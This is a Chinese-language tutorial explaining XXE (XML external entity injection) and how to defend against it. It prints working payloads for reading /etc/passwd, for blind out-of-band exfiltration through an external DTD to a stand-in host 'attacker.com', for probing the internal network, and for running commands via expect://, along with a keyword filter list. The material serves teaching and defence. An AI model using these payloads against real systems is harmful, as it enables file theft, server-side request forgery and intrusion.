xxe原理解析
字数 1113 2025-08-11 00:55:07
XXE漏洞原理与防御详解
一、XML基础与实体定义
XML(可扩展标记语言)是一种用于标记电子文件使其具有结构性的标记语言。XXE(XML External Entity Injection)漏洞与XML的实体定义机制密切相关。
XML文档基本结构
<?xml version="1.0" encoding="utf-8"?> <!-- xml声明 -->
<!DOCTYPE copyright [ <!-- DTD定义开始 -->
<!ELEMENT note (to,reset,login,secret)> <!-- 定义元素 -->
<!ENTITY test SYSTEM "file:///c://test.txt"> <!-- 定义外部实体 -->
<!ENTITY test2 "test2"> <!-- 定义内部实体 -->
<!ENTITY % test3 "test3"> <!-- 定义参数实体 -->
<!ENTITY % test4 "file:///c://test.txt"> <!-- 定义参数实体 -->
%test3;
%test4;
]>
<to>
<reset>
<login>&test;</login> <!-- 引用外部实体 -->
<secret>&test2;</secret> <!-- 引用内部实体 -->
</reset>
</to>
实体类型详解
-
内部实体:在DTD中定义且值直接写在实体声明中
<!ENTITY test2 "test2"> -
外部实体:通过SYSTEM关键字定义,引用外部资源
<!ENTITY test SYSTEM "file:///c://test.txt"> -
参数实体:以%开头,主要在DTD中使用
<!ENTITY % test3 "test3">
重要区别:
- 参数实体在DTD中引用,其他实体在XML文档中引用
- 实体定义中不能引用参数实体
二、XXE漏洞原理
XXE(XML External Entity Injection)即XML外部实体注入漏洞。当应用程序解析XML输入时,如果没有禁止外部实体的加载,攻击者可以构造恶意的XML实体来:
- 读取服务器上的任意文件
- 执行系统命令
- 扫描内网端口和服务
- 发起SSRF攻击
漏洞利用场景
1. 有回显的XXE
当服务器会返回XML解析结果时,可直接读取文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<reset>
<login>&xxe;</login>
</reset>
2. 无回显的XXE(Blind XXE)
当服务器不返回解析结果时,可通过带外通道(OOB)获取数据:
攻击步骤:
- 构造恶意DTD,引用外部服务器上的DTD文件
- 外部DTD文件中定义实体读取目标文件
- 通过HTTP请求将文件内容发送到攻击者服务器
攻击者构造的XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aa [
<!ENTITY % test SYSTEM "http://attacker.com/test.dtd">
%test;
%all;
]>
<reset>
<login>aaa</login>
<secret>&info;</secret>
</reset>
攻击者服务器上的test.dtd:
<!ENTITY % file SYSTEM "file:///c:/secret.txt">
<!ENTITY % all "<!ENTITY info SYSTEM 'http://attacker.com/?log=%file;'>">
三、XXE漏洞防御
1. 禁用外部实体
PHP:
libxml_disable_entity_loader(true);
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Python (lxml):
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
2. 输入过滤
过滤用户提交的XML数据中的危险关键字:
<!DOCTYPE<!ENTITYSYSTEMPUBLIC
3. 使用安全的XML解析器
- 使用最新版本的XML解析库(libxml ≥ 2.9默认禁用外部实体)
- 避免使用不安全的XML解析器
4. 服务器配置
- 禁用不必要的协议(如file://, http://等)
- 设置严格的Content-Type(如application/json而非text/xml)
四、高级利用技巧
1. 读取特殊文件
- Linux系统:
file:///etc/passwd - Windows系统:
file:///c:/windows/system.ini - 读取PHP源码:
php://filter/convert.base64-encode/resource=index.php
2. 内网探测
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">
3. 命令执行(需特定环境支持)
<!ENTITY xxe SYSTEM "expect://id">
五、参考资源
通过理解XXE漏洞的原理和防御方法,开发人员可以更好地保护应用程序免受此类攻击。